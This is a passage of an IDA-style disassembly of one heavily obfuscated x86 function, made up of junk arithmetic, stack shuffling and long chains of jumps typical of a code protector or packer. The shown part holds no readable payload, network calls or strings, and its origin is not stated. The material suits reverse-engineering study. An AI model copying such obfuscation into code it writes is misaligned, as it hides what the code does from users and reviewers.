loc_5A51C7:				; CODE XREF: sub_58A891+15E8Ej
		add	esp, 4
		jmp	loc_59C1F0
; ---------------------------------------------------------------------------


loc_5A51CF:				; CODE XREF: sub_58A891+260EEj
		add	eax, 4
		jmp	loc_5AAA5F
; ---------------------------------------------------------------------------


loc_5A51D9:				; CODE XREF: sub_58A891+1F8C2j
		add	ecx, 26742869h
		neg	ecx
		sub	ecx, 15D528C4h
		add	ecx, 0BD90D374h
		sub	ebx, ecx
		pop	ecx
		pop	edx
		add	ebx, 31F138C2h
		add	ebx, 25B5145Bh
		sub	ebx, eax
		sub	ebx, 25B5145Bh
		sub	esp, 4
		mov	[esp+7Eh+var_7E], ebp
		mov	ebp, 2C7A1C28h
		dec	ebp
		sub	ebp, 64A75CEDh
		and	ebp, 6F374AF1h
		sub	ebp, 1520D16Eh
		sub	ebx, ebp
		pop	ebp
		push	845h
		mov	[esp+7Eh+var_7E], esi
		mov	esi, 3D97EF6h
		not	esi
		push	ebp
		jmp	loc_59E73D
; ---------------------------------------------------------------------------


loc_5A523E:				; CODE XREF: sub_58A891+22C55j
		pop	edi
		add	eax, 20167B14h
		push	edx
		jmp	loc_5ABD81
; ---------------------------------------------------------------------------


loc_5A524A:				; CODE XREF: sub_58A891+256D3j
		jmp	loc_5B0F8F
; ---------------------------------------------------------------------------


loc_5A524F:				; CODE XREF: sub_58A891+27C62j
		pop	edx
		jmp	loc_59E8C6
; ---------------------------------------------------------------------------


loc_5A5255:				; CODE XREF: sub_58A891+14E53j
		pop	ebp
		sub	ebp, 375A5599h
		add	ebp, edi
		jmp	loc_5AABF9
; ---------------------------------------------------------------------------


loc_5A5263:				; CODE XREF: sub_58A891+14ACFj
		pop	ebp
		sub	ebp, 3BA4EF52h
		jmp	loc_5AB979
; ---------------------------------------------------------------------------


loc_5A526F:				; CODE XREF: sub_58A891+17231j
		add	edi, 25CD6F4Eh
		sub	edi, 14A46822h
		jmp	loc_5AF4DC
; ---------------------------------------------------------------------------


loc_5A5280:				; CODE XREF: sub_58A891+12FCCj
		push	ebx
		mov	bh, 2Bh
		not	bh
		jmp	loc_5A4DF8
; ---------------------------------------------------------------------------


loc_5A528A:				; CODE XREF: sub_58A891+17DEDj
		shl	cl, 8
		inc	cl
		push	ebx
		mov	bl, 0ADh
		sub	bl, 75h
		xor	cl, bl
		pop	ebx
		add	al, cl
		mov	ecx, [esp+92h+var_92]
		push	eax
		jmp	loc_5A9847
; ---------------------------------------------------------------------------


loc_5A52A3:				; CODE XREF: sub_58A891+19895j
		mov	edx, 51C90E41h
		jmp	loc_5B2FB1
; ---------------------------------------------------------------------------


loc_5A52AD:				; CODE XREF: sub_58A891+15B04j
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0A2h+var_A2], eax
		jmp	loc_59D2DD
; ---------------------------------------------------------------------------


loc_5A52BB:				; CODE XREF: sub_58A891+14E82j
		neg	ecx
		add	ecx, 12A1363Fh
		jb	loc_5AAC68
		jmp	loc_5B2CA7
; ---------------------------------------------------------------------------


loc_5A52CE:				; CODE XREF: sub_58A891+196C9j
		mov	edi, [esp+40h+var_40]
		add	esp, 4
		push	ebp
		jmp	loc_5AB4EF
; ---------------------------------------------------------------------------


loc_5A52DD:				; CODE XREF: sub_58A891+2385Bj
		push	edi
		mov	edi, esp
		jmp	loc_5AFB22
; ---------------------------------------------------------------------------


loc_5A52E5:				; CODE XREF: sub_58A891+1BCC2j
		sub	[esp+44h+var_3C], 45453BB4h
		sub	[esp+44h+var_3C], eax
		push	esi
		mov	esi, 45453BB4h
		add	[esp+48h+var_3C], esi
		pop	esi
		jmp	loc_5A05D5
; ---------------------------------------------------------------------------


loc_5A5301:				; CODE XREF: sub_58A891+121C5j
		mov	[esp+82h+var_82], ebx
		push	6CCEh
		jmp	loc_5A73A8
; ---------------------------------------------------------------------------


loc_5A530E:				; CODE XREF: sub_58A891+252B6j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp+8Ah+var_8A]
		jmp	loc_59CBE2
; ---------------------------------------------------------------------------


loc_5A5324:				; CODE XREF: sub_58A891+272D1j
		or	ebp, 182134Dh
		inc	ebp
		and	ebp, 28F67C98h
		add	ebp, 3FC4D0C1h
		add	edi, 2DBA3570h
		sub	edi, ebp
		sub	edi, 2DBA3570h
		jmp	$+5
		pop	ebp
		add	edi, ebx
		add	edi, 407748C1h
		sub	edi, 5FF2329h
		mov	ebx, [esp+86h+var_86]
		add	esp, 4
		xchg	edi, [esp+82h+var_82]
		mov	esp, [esp+82h+var_82]
		jmp	loc_5AA8B3
; ---------------------------------------------------------------------------


loc_5A536D:				; CODE XREF: sub_58A891+1AC84j
		pop	di
		sub	di, ax
		pop	eax
		not	di
		neg	di
		push	bp
		mov	bp, 0FFFFh
		add	di, bp
		jmp	loc_5B05D2
; ---------------------------------------------------------------------------


loc_5A5387:				; CODE XREF: sub_58A891+12249j
		add	esi, 4
		xchg	esi, [esp+96h+var_96]
		pop	esp
		push	dword ptr [edx]
		xor	[esp+96h+var_96], 1C6867A1h
		pop	eax
		push	68DDh
		jmp	loc_5AB635
; ---------------------------------------------------------------------------


loc_5A53A5:				; CODE XREF: sub_58A891+1B69Aj
		add	ebx, 71036909h
		mov	edx, [esp+96h+var_96]
		add	esp, 4
		xor	eax, ebx
		jmp	loc_5A6425
; ---------------------------------------------------------------------------


loc_5A53B8:				; CODE XREF: sub_58A891+13E27j
		push	3139h
		mov	[esp+84h+var_86+2], ecx
		mov	ecx, esp
		jmp	loc_5AC280
; ---------------------------------------------------------------------------


loc_5A53C7:				; CODE XREF: sub_58A891+15F23j
					; sub_58A891+26B35j
		sub	eax, edx
		jmp	loc_5A4686
; ---------------------------------------------------------------------------


loc_5A53CE:				; CODE XREF: sub_58A891+1318Cj
		or	ebx, 21050DDEh
		jb	loc_5AD898
		inc	ebx
		jns	loc_5B0D83
		xor	ebx, 1AA63DC7h
		jno	loc_5AE93F
		push	edi


loc_5A53EE:				; CODE XREF: sub_58A891+130AEj
		jp	loc_5AD435
		dec	ecx
		jmp	loc_5B1908
; ---------------------------------------------------------------------------
		sub	ebx, 270F5551h
		mov	ebx, ecx


loc_5A5402:				; CODE XREF: sub_58A891+1E74Fj
		mov	edi, [esp+82h+var_82]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59D45A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+86h+var_86]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		push	[esp+8Eh+var_8E]
		pop	ecx
		add	esp, 4
		push	edx
		push	[esp+8Eh+var_8A]
		pop	edx
		pop	[esp+8Eh+var_8E]
		pop	esp
		mov	[esp+86h+var_86], ebp
		jmp	loc_5B1162
; ---------------------------------------------------------------------------


loc_5A5441:				; CODE XREF: sub_58A891+1A038j
					; sub_58A891+26355j
		jp	loc_5B12B1
		not	ch
		not	ch
		shl	ch, 8
		jmp	loc_5A9328
; ---------------------------------------------------------------------------


loc_5A5453:				; CODE XREF: sub_58A891+1D8FDj
		mov	esi, 6E543A65h
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 3C616BC6h
		and	edx, 5EDA10B7h
		neg	edx
		not	edx
		jmp	loc_5AD769
; ---------------------------------------------------------------------------


loc_5A5470:				; CODE XREF: sub_58A891+24E24j
		xor	edx, 23115823h
		dec	edx
		shr	edx, 2
		jmp	loc_5A613A
; ---------------------------------------------------------------------------


loc_5A547F:				; CODE XREF: sub_58A891+14F79j
		pop	edx
		add	edi, edx
		pop	edx
		push	ecx
		push	esi
		jmp	loc_5A93F2
; ---------------------------------------------------------------------------


loc_5A548A:				; CODE XREF: sub_58A891+1C366j
					; sub_58A891:loc_5ADB2Dj
		jnz	loc_59F0B2
		xor	esi, 4D83105Dh
		jmp	loc_5AC24F
; ---------------------------------------------------------------------------


loc_5A549B:				; CODE XREF: sub_58A891+1CE41j
		add	esp, 4
		shr	eax, 3
		not	eax
		or	eax, 694E7C9Fh
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+26h+var_24+2]
		jmp	loc_5A866A
; ---------------------------------------------------------------------------


loc_5A54C2:				; CODE XREF: sub_58A891+1AF34j
		pop	edx
		or	ebp, ecx
		pop	ecx
		sub	ebp, 643A3140h
		sub	ebp, 0B93B7AB9h
		add	esi, ebp
		jmp	loc_59C1EA
; ---------------------------------------------------------------------------


loc_5A54D9:				; CODE XREF: sub_58A891+14037j
		mov	ebx, 4D4135AFh
		sub	[esp+88h+var_86+2], ebx
		pop	ebx
		pop	eax
		add	eax, 4D4135AFh
		mov	edx, [esp+80h+var_82+2]
		add	esp, 4
		sub	[esp+7Ch+var_74], eax
		mov	eax, [esp+7Ch+var_7E+2]
		add	esp, 4
		push	esi
		jmp	loc_5A3336
; ---------------------------------------------------------------------------


loc_5A5505:				; CODE XREF: sub_58A891+155B5j
		pop	edx
		shr	bh, 7
		add	bh, 0D4h
		jmp	loc_5A3425
; ---------------------------------------------------------------------------


loc_5A5511:				; CODE XREF: sub_58A891+1670Cj
		push	small 6CECh
		jmp	loc_5A536D
; ---------------------------------------------------------------------------


loc_5A551A:				; CODE XREF: sub_58A891+1D13Dj
		mov	edx, [esp+8Ch+var_8E+2]
		add	esp, 4
		and	[edi+1Ch], eax
		push	[esp+88h+var_8A+2]
		pop	eax
		jmp	loc_5A640E
; ---------------------------------------------------------------------------


loc_5A552C:				; CODE XREF: sub_58A891+24CF6j
		mov	edx, [esp+88h+var_8A+2]
		add	esp, 4
		and	ecx, 1C271E7Fh
		inc	ecx
		push	edx
		jmp	loc_5A342D
; ---------------------------------------------------------------------------


loc_5A5542:				; CODE XREF: sub_58A891+208DAj
		add	esp, 4
		sub	esp, 4
		mov	[esp+88h+var_8A+2], esi
		push	eax
		mov	eax, 2
		mov	esi, eax
		jmp	loc_5A7620
; ---------------------------------------------------------------------------


loc_5A5558:				; CODE XREF: sub_58A891+1A2CBj
		mov	[esp-0Eh+arg_4+2], ebx
		push	eax
		jmp	loc_5AC204
; ---------------------------------------------------------------------------


loc_5A5561:				; CODE XREF: sub_58A891+28714j
		pop	edi
		jmp	loc_5B2F36
; ---------------------------------------------------------------------------


loc_5A5567:				; CODE XREF: sub_58A891+1447Cj
		xchg	si, cx
		jmp	loc_59FC34
; ---------------------------------------------------------------------------


loc_5A556F:				; CODE XREF: sub_58A891+20FF0j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+7Eh+var_7A]
		jmp	loc_5A2699
; ---------------------------------------------------------------------------


loc_5A5587:				; CODE XREF: sub_58A891+1B181j
		pop	ecx
		mov	edx, ebx
		jmp	loc_5AFD58
; ---------------------------------------------------------------------------


loc_5A558F:				; CODE XREF: sub_58A891+2225Bj
					; sub_58A891+2478Aj
		add	esp, 4
		add	al, 0FCh
		sub	al, 8Ah
		add	al, 93h
		push	ecx
		push	eax
		sub	esp, 4
		mov	[esp+86h+var_86], edx
		push	eax
		mov	ah, 35h
		mov	dl, 40h
		xor	dl, ah
		pop	eax
		jmp	loc_59FDFE
; ---------------------------------------------------------------------------


loc_5A55AD:				; CODE XREF: sub_58A891+24D5Cj
		mov	edx, esi
		mov	esi, [esp+86h+var_86]
		jmp	loc_5A3E05
; ---------------------------------------------------------------------------


loc_5A55B7:				; CODE XREF: sub_58A891+21B4Dj
		push	edx
		jmp	loc_59FFFE
; ---------------------------------------------------------------------------


loc_5A55BD:				; CODE XREF: sub_58A891+1D630j
		mov	ebx, eax
		mov	eax, [esp+8Ah+var_8A]
		add	esp, 4
		add	edx, ebx
		push	[esp+86h+var_86]
		pop	ebx
		jmp	loc_5AA091
; ---------------------------------------------------------------------------


loc_5A55D0:				; CODE XREF: sub_58A891+221CCj
		mov	edi, 532F16ADh
		push	eax
		mov	eax, edi
		mov	esi, eax
		pop	eax
		pop	edi
		jmp	loc_5A64CA
; ---------------------------------------------------------------------------


loc_5A55E1:				; CODE XREF: sub_58A891+1F920j
		mov	edi, [esp+82h+var_82]
		add	esp, 4
		push	63CCh
		mov	[esp+82h+var_82], edi
		jmp	loc_5A63CB
; ---------------------------------------------------------------------------


loc_5A55F4:				; CODE XREF: sub_58A891:loc_5A9677j
		inc	edi
		jl	loc_5ADEB0
		sub	edi, 0D84BB7E6h
		jmp	loc_59E382
; ---------------------------------------------------------------------------
		pop	eax
		mov	edx, ebx
		push	ecx


loc_5A560A:				; CODE XREF: sub_58A891+181AEj
		shr	edi, 4
		push	ebx
		jmp	loc_59C65C
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+86h+var_86]
		sub	esp, 4
		mov	[esp+8Ah+var_8A], edi
		push	7F63h
		mov	[esp+8Eh+var_8E], esp
		add	[esp+8Eh+var_8E], 4
		jmp	loc_5A8F3A
; ---------------------------------------------------------------------------


loc_5A5631:				; CODE XREF: sub_58A891+2789Aj
		xor	edx, 0E202A8E2h
		inc	edx
		sub	edx, 7D5A389Ah
		xor	edx, 72E65BC2h
		jmp	loc_5A4A24
; ---------------------------------------------------------------------------


loc_5A5649:				; CODE XREF: sub_58A891+2782Fj
		push	ebp
		push	28691CAAh
		push	[esp+96h+var_96]
		mov	ebp, [esp+9Ah+var_9A]
		add	esp, 4
		add	esp, 4
		inc	ebp
		shr	ebp, 5
		jnp	loc_5AAB37
		push	3629h
		mov	[esp+96h+var_96], edx
		mov	dh, 0B8h


loc_5A5673:				; CODE XREF: sub_58A891+2219Bj
		mov	[esp+96h+var_96], ecx
		push	[esp+96h+var_92]
		push	[esp+9Ah+var_9A]
		jmp	loc_59ECED
; ---------------------------------------------------------------------------


loc_5A5682:				; CODE XREF: sub_58A891+1FF53j
		sub	ecx, esi
		add	ecx, 39CB0658h
		push	[esp+9Eh+var_9E]
		pop	esi
		jmp	loc_5B1D73
; ---------------------------------------------------------------------------


loc_5A5693:				; CODE XREF: sub_58A891+1B605j
		pop	ecx
		shr	ebx, 6
		not	ebx
		add	ebx, 2D331428h
		jmp	loc_5A35C9
; ---------------------------------------------------------------------------


loc_5A56A4:				; CODE XREF: sub_58A891+1737Cj
		pop	ebp
		jmp	loc_5B272C
; ---------------------------------------------------------------------------


loc_5A56AA:				; CODE XREF: sub_58A891+14F9Fj
		sub	eax, 55F790CCh
		jmp	loc_5AD15B
; ---------------------------------------------------------------------------


loc_5A56B4:				; CODE XREF: sub_58A891+21519j
		push	ecx
		jmp	loc_5A8132
; ---------------------------------------------------------------------------


loc_5A56BA:				; CODE XREF: sub_58A891+13AE6j
					; sub_58A891+19CF4j
		mov	[esp+0Eh+var_10+2], ecx
		jmp	loc_5AE208
; ---------------------------------------------------------------------------


loc_5A56C2:				; CODE XREF: sub_58A891:loc_5A928Cj
		add	ecx, 1DBF4331h
		mov	edi, ecx
		pop	ecx
		jmp	loc_59F96C
; ---------------------------------------------------------------------------


loc_5A56D0:				; CODE XREF: sub_58A891+1D822j
		add	[esp+0Ah+var_C+2], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A56D9:				; CODE XREF: sub_58A891+1227Dj
		mov	[esp+96h+var_96], ebx
		mov	bh, 9Bh
		sub	esp, 4
		mov	[esp+9Ah+var_9A], ebx
		mov	bl, 1Ch
		add	bl, 0B6h
		sub	esp, 4
		mov	[esp+9Eh+var_9E], eax
		mov	al, bl
		mov	dh, al
		jmp	loc_59C3B4
; ---------------------------------------------------------------------------


loc_5A56FE:				; CODE XREF: sub_58A891+18129j
		push	edx
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_59FE81
; ---------------------------------------------------------------------------


loc_5A570B:				; CODE XREF: sub_58A891+21287j
		sub	al, 1Bh
		pop	ebx
		sub	al, cl
		add	al, 73h
		jmp	loc_5B1174
; ---------------------------------------------------------------------------


loc_5A5717:				; CODE XREF: sub_58A891+23FC5j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A571C:				; CODE XREF: sub_58A891+12AE8j
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_5ADFFE
; ---------------------------------------------------------------------------


loc_5A5735:				; CODE XREF: sub_58A891+1B215j
		push	eax
		mov	eax, 0
		add	eax, ecx
		push	2955h
		mov	[esp+2+var_4+2], edx
		mov	edx, 0
		add	edx, eax
		add	dword ptr [edx], 1
		pop	edx
		pop	eax
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_59C89D
; ---------------------------------------------------------------------------


loc_5A5762:				; CODE XREF: sub_58A891+21D7Bj
					; sub_58A891+285B5j
		mov	esp, [esp-0Ah+arg_0+2]
		mov	eax, 531E95D8h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A4861
; ---------------------------------------------------------------------------


loc_5A5772:				; CODE XREF: sub_58A891+1B998j
		push	[esp-0Eh+arg_4+2]
		mov	ebx, [esp-0Ah+arg_0+2]
		add	esp, 4
		push	ebx
		jmp	loc_59C07D
; ---------------------------------------------------------------------------


loc_5A5781:				; CODE XREF: sub_58A891+1BBD2j
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 29EE4AEEh
		or	ecx, 0AB445A5h
		push	ecx
		sub	dword ptr [esp+0], 0FFFFFFFFh
		pop	ecx
		push	edx
		push	eax
		mov	eax, 578A3FFBh
		sub	eax, 1DFB7116h
		sub	eax, 1BDFBB1Eh
		mov	edx, eax
		pop	eax
		shl	edx, 7
		not	edx
		shl	edx, 5
		neg	edx
		inc	edx
		add	edx, 943E0h
		add	ecx, edx
		jmp	loc_5A54C2
; ---------------------------------------------------------------------------


loc_5A57CA:				; CODE XREF: sub_58A891+1D44Dj
		mov	bh, al
		pop	eax
		jmp	loc_5A7524
; ---------------------------------------------------------------------------


loc_5A57D2:				; CODE XREF: sub_58A891+1CF92j
					; sub_58A891+227F0j
		add	esi, 71241B9h
		sub	eax, esi
		pop	esi
		mov	edi, eax
		jmp	loc_5A1F4F
; ---------------------------------------------------------------------------


loc_5A57E2:				; CODE XREF: sub_58A891+1644Fj
		and	edx, 3679058Eh
		jp	loc_5A67C0
		xor	edx, 2000004h
		mov	eax, edx
		pop	edx
		jmp	loc_5ADDD0
; ---------------------------------------------------------------------------
		push	esi


loc_5A57FD:				; CODE XREF: sub_58A891+20509j
		jp	loc_5B0A44
		shl	ebx, 4
		jmp	loc_5A7172
; ---------------------------------------------------------------------------
		xor	esi, [esp+5Eh+var_60+2]
		mov	dh, 49h
		xor	al, 4


loc_5A5812:				; CODE XREF: sub_58A891+1A045j
		add	ecx, 7E351994h
		jmp	loc_5A7133
; ---------------------------------------------------------------------------


loc_5A581D:				; CODE XREF: sub_58A891+18F21j
					; sub_58A891+264FEj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5A75A5
; ---------------------------------------------------------------------------


loc_5A582D:				; CODE XREF: sub_58A891+1A2DFj
		add	ecx, 4
		push	ebp
		jmp	loc_5A74BA
; ---------------------------------------------------------------------------


loc_5A5839:				; CODE XREF: sub_58A891+11745j
		mov	esp, [esp+12h+var_14+2]
		rep movsd
		jmp	loc_5B18AE
; ---------------------------------------------------------------------------


loc_5A5843:				; CODE XREF: sub_58A891+2371Aj
		jz	loc_5A587D
		dec	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], ecx
		jmp	loc_5A0E78
; ---------------------------------------------------------------------------


loc_5A5862:				; CODE XREF: sub_58A891+2368Dj
		mov	dx, word ptr [esp+12h+var_14+2]
		push	eax
		jmp	loc_5A8DAA
; ---------------------------------------------------------------------------


loc_5A586C:				; CODE XREF: sub_58A891+226AAj
		add	esp, 4
		add	ebp, edx
		pop	edx
		add	ebp, 2
		jmp	loc_5A47FF
; ---------------------------------------------------------------------------


loc_5A587D:				; CODE XREF: sub_58A891:loc_5A5843j
		dec	edx
		push	edx
		mov	edx, esp
		jmp	loc_5A9611
; ---------------------------------------------------------------------------


loc_5A5886:				; CODE XREF: sub_58A891+1DDBBj
		mov	edi, 4CD82F72h
		add	eax, edi
		pop	edi
		push	eax
		xchg	ebp, [esp+16h+var_18+2]
		not	ebp
		xchg	ebp, [esp+16h+var_18+2]
		pop	eax
		sub	eax, 0A00C1424h
		and	ecx, eax
		pop	eax
		dec	ecx
		push	edx
		jmp	loc_59EF7C
; ---------------------------------------------------------------------------


loc_5A58A7:				; CODE XREF: sub_58A891+200B2j
		mov	[esp+12h+var_14+2], edx
		jmp	loc_5A2ECF
; ---------------------------------------------------------------------------


loc_5A58AF:				; CODE XREF: sub_58A891+154EDj
					; sub_58A891+15780j
		jmp	loc_5A9BB9
; ---------------------------------------------------------------------------


loc_5A58B4:				; CODE XREF: sub_58A891+20B9Bj
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp+62h+var_64+2]
		jmp	loc_5A4B75
; ---------------------------------------------------------------------------


loc_5A58C4:				; CODE XREF: sub_58A891+1F316j
		mov	[esp+62h+var_64+2], eax
		push	esp
		mov	eax, [esp+66h+var_68+2]
		add	esp, 4
		add	eax, 4
		jmp	loc_5A81D9
; ---------------------------------------------------------------------------


loc_5A58D8:				; CODE XREF: sub_58A891+1789Fj
		sub	ch, 94h
		push	eax
		mov	al, 0BCh
		neg	al
		shl	al, 7
		or	al, 0CCh
		jmp	loc_5AC1BD
; ---------------------------------------------------------------------------


loc_5A58EA:				; CODE XREF: sub_58A891+15EFAj
		add	edx, ebp
		pop	ebp
		push	60D3h
		mov	[esp+4Ah+var_4A], esi
		jmp	loc_5A39EE
; ---------------------------------------------------------------------------
		push	[esp+4Ah+var_4A]
		pop	ecx
		sub	esp, 4
		jmp	loc_5AA751
; ---------------------------------------------------------------------------


loc_5A5906:				; CODE XREF: sub_58A891+1C555j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AD853
; ---------------------------------------------------------------------------


loc_5A590E:				; CODE XREF: sub_58A891+1C9EDj
		xchg	ebp, [esp+4Ah+var_4A]
		mov	esp, [esp+4Ah+var_4A]
		shr	byte ptr [esp+4Ah+var_4A], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A591D:				; CODE XREF: sub_58A891+269FFj
		add	esp, 4
		push	ecx
		push	esi
		push	3DE572D4h
		pop	esi
		xor	esi, 3DE572D0h
		jmp	loc_5A7F2A
; ---------------------------------------------------------------------------


loc_5A5933:				; CODE XREF: sub_58A891+17958j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ah+arg_0+2]
		jmp	loc_59C35F
; ---------------------------------------------------------------------------


loc_5A5947:				; CODE XREF: sub_58A891+247D6j
		add	esi, edx
		sub	esi, 51703228h
		pop	edx
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], ecx
		mov	ecx, 4
		jmp	loc_5B2FAA
; ---------------------------------------------------------------------------


loc_5A5963:				; CODE XREF: sub_58A891+1E035j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_59F7F8
; ---------------------------------------------------------------------------


loc_5A5970:				; CODE XREF: sub_58A891+27FC7j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5A2A99
; ---------------------------------------------------------------------------


loc_5A5978:				; CODE XREF: sub_58A891+1D07Fj
		add	ebx, 0D82FF54Eh
		jmp	loc_59FD0A
; ---------------------------------------------------------------------------


loc_5A5983:				; CODE XREF: sub_58A891+21B07j
		add	ebx, eax
		jmp	loc_59D1D5
; ---------------------------------------------------------------------------


loc_5A598A:				; CODE XREF: sub_58A891+1717Aj
		add	edx, 0BED1402h
		pop	esi
		xchg	edx, [esp+0DAh+var_DC+2]
		jmp	loc_5A5CC4
; ---------------------------------------------------------------------------


loc_5A5999:				; CODE XREF: sub_58A891+176DEj
		add	ebx, 577B6055h
		add	ebx, 3E3F1ED2h
		add	ebx, esi
		sub	ebx, 3E3F1ED2h
		push	esi
		push	7A69h
		mov	[esp+88h+var_8A+2], edx
		mov	edx, 737564C7h
		mov	esi, edx
		jmp	loc_5AF164
; ---------------------------------------------------------------------------


loc_5A59C2:				; CODE XREF: sub_58A891+2356Aj
		xor	ebx, 0A41B6102h
		mov	ebp, ebx
		jmp	loc_5A29BF
; ---------------------------------------------------------------------------


loc_5A59CF:				; CODE XREF: sub_58A891+183A0j
		push	ecx
		mov	ecx, 52AB0250h
		jmp	loc_5A2AB3
; ---------------------------------------------------------------------------


loc_5A59DA:				; CODE XREF: sub_58A891+1FB5Cj
		push	ebp
		push	[esp+8Eh+var_8A]
		pop	ebp
		pop	[esp+8Eh+var_8E]
		mov	esp, [esp+8Ah+var_8A]
		mov	[esp+8Ah+var_8A], ecx
		push	eax
		mov	ah, 9
		mov	cl, ah
		pop	eax
		sub	al, 5Ah
		sub	al, cl
		add	al, 5Ah
		mov	ecx, [esp+8Ah+var_8A]
		jmp	loc_5A132D
; ---------------------------------------------------------------------------


loc_5A59FD:				; CODE XREF: sub_58A891+1BAEEj
					; sub_58A891+1DB9Bj
		xchg	bh, al
		jmp	loc_5A763A
; ---------------------------------------------------------------------------


loc_5A5A04:				; CODE XREF: sub_58A891+25F4Dj
		and	ecx, 0D3C41DBh
		xor	ecx, 0FB41082h
		add	ebx, ecx
		jmp	loc_5A5587
; ---------------------------------------------------------------------------


loc_5A5A17:				; CODE XREF: sub_58A891+207C3j
		push	[esp+8Ah+var_86]
		mov	edi, [esp+8Eh+var_8E]
		add	esp, 4
		pop	[esp+8Ah+var_8A]
		mov	esp, [esp+86h+var_86]
		bt	word ptr [esp+86h+var_86], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5A35:				; CODE XREF: sub_58A891+1D4F6j
		mov	edi, 5B6B3814h
		shr	edi, 1
		inc	edi
		sub	edi, 9BC462A7h
		jmp	loc_5A6B3F
; ---------------------------------------------------------------------------


loc_5A5A48:				; CODE XREF: sub_58A891+198E2j
		add	ebp, ebx
		jmp	loc_5A0519
; ---------------------------------------------------------------------------


loc_5A5A4F:				; CODE XREF: sub_58A891+18A00j
		mov	[esp-0Eh+arg_4+2], ebx
		push	ecx
		push	eax
		jmp	loc_5A6DF6
; ---------------------------------------------------------------------------


loc_5A5A59:				; CODE XREF: sub_58A891+16558j
		mov	ebp, [esp+2Eh+var_30+2]
		push	edx
		mov	edx, esp
		jmp	loc_5AC852
; ---------------------------------------------------------------------------


loc_5A5A64:				; CODE XREF: sub_58A891+1DD3Ej
		push	2755h
		mov	[esp+36h+var_38+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A9FF7
; ---------------------------------------------------------------------------


loc_5A5A7F:				; CODE XREF: sub_58A891+15726j
		sub	ebp, 34540074h
		push	edi
		mov	edi, 7BE23328h
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], esi
		jmp	loc_5B29FF
; ---------------------------------------------------------------------------


loc_5A5A99:				; CODE XREF: sub_58A891+22E4Bj
		pop	esi
		push	0
		jmp	loc_5A3D1D
; ---------------------------------------------------------------------------


loc_5A5AA4:				; CODE XREF: sub_58A891+2812Dj
		add	ecx, edi
		jmp	loc_5A5735
; ---------------------------------------------------------------------------


loc_5A5AAB:				; CODE XREF: sub_58A891+22AE9j
		xor	[esp+3Eh+var_40+2], esi
		jmp	loc_5A6BC0
; ---------------------------------------------------------------------------
		push	[esp+3Eh+var_40+2]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+4Eh+var_4E], ecx
		mov	ecx, 543F6588h
		jmp	loc_59C2CF
; ---------------------------------------------------------------------------


loc_5A5AE8:				; CODE XREF: sub_58A891+189B0j
		mov	ebp, 4
		add	eax, 0CF12111h
		jmp	loc_5AC8ED
; ---------------------------------------------------------------------------


loc_5A5AF7:				; CODE XREF: sub_58A891+1434Ej
		add	ebx, esi
		pop	esi
		sub	edx, ebx
		push	[esp+66h+var_68+2]
		pop	ebx
		add	esp, 4
		mov	ecx, [esp+62h+var_64+2]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp+5Eh+var_60+2]
		mov	esp, [esp+5Eh+var_60+2]
		add	word ptr [esp+5Eh+var_60+2], ax
		pushf
		jmp	loc_5AA7E9
; ---------------------------------------------------------------------------


loc_5A5B1C:				; CODE XREF: sub_58A891+176AEj
		push	edi
		mov	edi, 6E4F180Dh
		xor	edi, 6E4F1809h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		jmp	locret_5ACC68
; ---------------------------------------------------------------------------


loc_5A5B3C:				; CODE XREF: sub_58A891+1439Bj
		mov	[esp+6Eh+var_70+2], ecx
		jmp	loc_5AE9F8
; ---------------------------------------------------------------------------


loc_5A5B44:				; CODE XREF: sub_58A891+11A17j
		add	eax, ebx
		pop	ebx
		sub	eax, 0F4A1DBCh
		jmp	loc_5AC62C
; ---------------------------------------------------------------------------


loc_5A5B51:				; CODE XREF: sub_58A891+14708j
		shl	esi, 4
		jmp	loc_5AD782
; ---------------------------------------------------------------------------


loc_5A5B59:				; CODE XREF: sub_58A891+21231j
		sub	eax, edx
		sub	eax, 28DC4E6Eh
		pop	edx
		push	eax
		pop	ebx
		mov	eax, [esp+86h+var_86]
		push	ebp
		push	esp
		jmp	loc_5B01B2
; ---------------------------------------------------------------------------


loc_5A5B6D:				; CODE XREF: sub_58A891+1F323j
		mov	ebx, 38CB7DA4h
